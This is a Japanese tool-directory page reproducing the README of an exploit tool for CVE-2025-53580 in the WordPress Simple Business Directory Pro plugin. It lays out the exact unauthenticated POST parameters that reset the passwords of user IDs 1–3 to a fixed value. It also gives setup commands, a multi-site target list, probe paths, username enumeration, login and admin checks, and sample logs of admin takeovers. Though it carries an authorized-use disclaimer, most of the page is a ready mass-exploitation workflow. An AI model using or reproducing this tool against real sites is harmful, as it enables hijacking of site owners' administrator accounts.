Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-53580 — WordPress Simple Business Directory Pro Plugin < 15.6.9 は、高優先度の権限昇格 (Privilege Escalation) の脆弱性の影響を受けます。 | Kitploit
ツール/GitHubGitHub/nxploited/cve-2025-53580
特権昇格偵察パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育
GitHubnxploited/cve-2025-53580

CVE-2025-53580

WordPress Simple Business Directory Pro Plugin < 15.6.9 は、高優先度の権限昇格 (Privilege Escalation) の脆弱性の影響を受けます。

44ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

CVE-2025-53580

WordPress Simple Business Directory Pro プラグイン < 15.6.9 は、優先度の高い権限昇格(Privilege Escalation)の脆弱性の影響を受けます

CVE-2025-53580

Simple Business Directory Pro — 不正確な権限の割り当て → パスワードリセット → 管理者乗っ取り

root@kitploit:~
   ___  _        ___     __  __  __  ____     ____ ___  ____ __   __
  / (_)(_|   |_// (_)   /  )/  \/  )|        |    /   \|    /  \ /  \
 |       |   |  \__       /|    | / |___     |___   __/|___ \__/|    |
 |       |   |  /   -----/ |    |/      \-----   \    \    \/  \|    |
  \___/   \_/   \___/   /___\__//___\___/    \___/\___/\___/\__/ \__/

CVE Plugin Auth Python Author


❶ 脆弱性

根本原因:
このプラグインは、数値の qcpd-uid(WordPress ユーザー ID)と新しい pass 値を受け付けるフロントエンドのパスワード復元フォーム(qcpd-restore-pwd)を公開しています。パスワードが変更される前に、認証、トークン、nonce、またはメール検証は一切実施されません。認証されていない攻撃者は、単一の POST リクエストを送信するだけで、ユーザー ID 1(通常はサイト管理者)およびその他の任意のユーザーのパスワードをリセットし、その後、注入したパスワードで認証して完全な管理者アクセスを取得できます。


❷ 攻撃フロー

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  1. Discover SBD restore page                                   │
│     Probe 24 candidate paths  →  match body containing "sbd"   │
│                                                                 │
│  2. Reset passwords by user ID                                  │
│     POST <restore_url>                                          │
│       qcpd-restore-pwd      = restore                           │
│       qcpd-restore-pwd-type = user                              │
│       qcpd-uid              = 1  (then 2, then 3)              │
│       pass                  = NxploitedNX                       │
│                                                                 │
│  3. Enumerate usernames                                         │
│     /?author=1..9   →  redirect / body parse                    │
│     /wp-json/wp/v2/users  →  slug / username fields            │
│     hostname heuristic  +  "admin" fallback                     │
│                                                                 │
│  4. Login with injected password                                │
│     POST /wp-login.php  log=<user>  pwd=NxploitedNX             │
│     Check: wordpress_logged_in cookie present                   │
│                                                                 │
│  5. Verify admin access (dual method)                           │
│     GET /wp-json/wp/v2/users/me  →  capabilities.manage_options│
│     GET /wp-admin/users.php      →  adminmenu / users table     │
│                                                                 │
│  6. Write confirmed hit → Nx_sbd_login_hits.txt                 │
└─────────────────────────────────────────────────────────────────┘

❸ セットアップ

root@kitploit:~
git clone https://github.com/Nxploited/CVE-2025-53580.git
cd CVE-2025-53580
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6

❹ 使用方法

root@kitploit:~
python3 CVE-2025-53580.py

プロンプト

root@kitploit:~
Targets list file (one host/URL per line) [list.txt]:   list.txt
Threads (concurrent sites) [3]:                         5
HTTP timeout (seconds) [10]:                            10
Successful hits file [Nx_sbd_login_hits.txt]:           Nx_sbd_login_hits.txt

すべてのリセット試行で注入されるパスワードは内部で固定されています:

root@kitploit:~
NxploitedNX

サイトごとに標的となるユーザー ID: 1、2、3(MAX_USER_ID で設定可能)


❺ ターゲットの形式 — list.txt

root@kitploit:~
https://target1.com
target2.com
http://target3.com

❻ スキャン対象の候補 SBD ページ

このツールは、ターゲットごとに 24 個のパス をスキャンし、ボディに sbd を含むページを探します:

root@kitploit:~
/login          /log-in         /signin         /sign-in
/user-login     /account/login  /restore        /password-reset
/reset-password /lost-password  /lostpassword   /user/restore
/my-account     /members/login  /member-login   /customer-login
/wp-login.php   /blog/login     /auth/login     /auth/restore
/sbd-login      /sbd-restore    /blog/log-in    /account/log-in

❼ ユーザー名の列挙


❽ 管理者検証 — 二重方式

ログイン成功はすべて、ディスクに書き込まれる前に 2 つの独立したチェックで検証されます:

方法 1 — REST API:

root@kitploit:~
GET /wp-json/wp/v2/users/me
→ capabilities.manage_options = true  →  ADMIN CONFIRMED

方法 2 — ダッシュボード:

root@kitploit:~
GET /wp-admin/users.php
→ adminmenu / users table markers present  →  ADMIN CONFIRMED

❾ 出力ファイル

Nx_sbd_login_hits.txt

root@kitploit:~
[2025-06-01 14:22:10] https://target.com - type=ADMIN - user=admin
- login=/wp-login.php user=admin pass=NxploitedNX
- detail=ADMIN_CONFIRMED_REST(manage_options)

[2025-06-01 14:23:05] https://target2.com - type=USER - user=editor
- login=/wp-login.php user=editor pass=NxploitedNX
- detail=not_admin(rest_no_manage_options, wpadmin_no_strong_markers)

❿ ターミナル出力例

root@kitploit:~
[info]  https://target.com :: starting
[ok]    https://target.com :: found front-end sbd page at https://target.com/my-account
[info]  https://target.com :: starting qcpd-uid=1..3 brute with pass=NxploitedNX
[info]  https://target.com :: POST uid=1 → status=302, Location=/my-account/?restored=1
[info]  https://target.com :: POST uid=2 → status=302, Location=/my-account/?restored=1
[info]  https://target.com :: extracting usernames and trying login
[ok]    https://target.com :: login OK for user='admin', checking admin...
[ok]    https://target.com :: HIT for user='admin' → admin=True,
        detail=ADMIN_CONFIRMED_REST(manage_options)

[warn]  https://target2.com :: no sbd page found in candidate restore paths, skipping

⓫ 作者

root@kitploit:~
Nxploited (Khaled Alenazi)
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited

GitHub Telegram


⓬ 免責事項

root@kitploit:~
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.

The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.

Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.

© 2025 Nxploited · Simple Business Directory Pro < 15.6.9 · 15.6.9 で修正済み

ツールをダウンロード
項目詳細
CVECVE-2025-53580
プラグインquantumcloud Simple Business Directory Pro (simple-business-directory-pro)
影響を受けるバージョンすべてのバージョン < 15.6.9
認証不要
種別不正確な権限の割り当て → 未認証のパスワードリセット
CWECWE-266 · 不正確な権限の割り当て
方法エンドポイント
著者リダイレクト/?author=1 → /?author=9
REST API/wp-json/wp/v2/users → slug + username
ホスト名ヒューリスティックドメインの最初のラベル
ハードコードされたフォールバックadmin が常に含まれる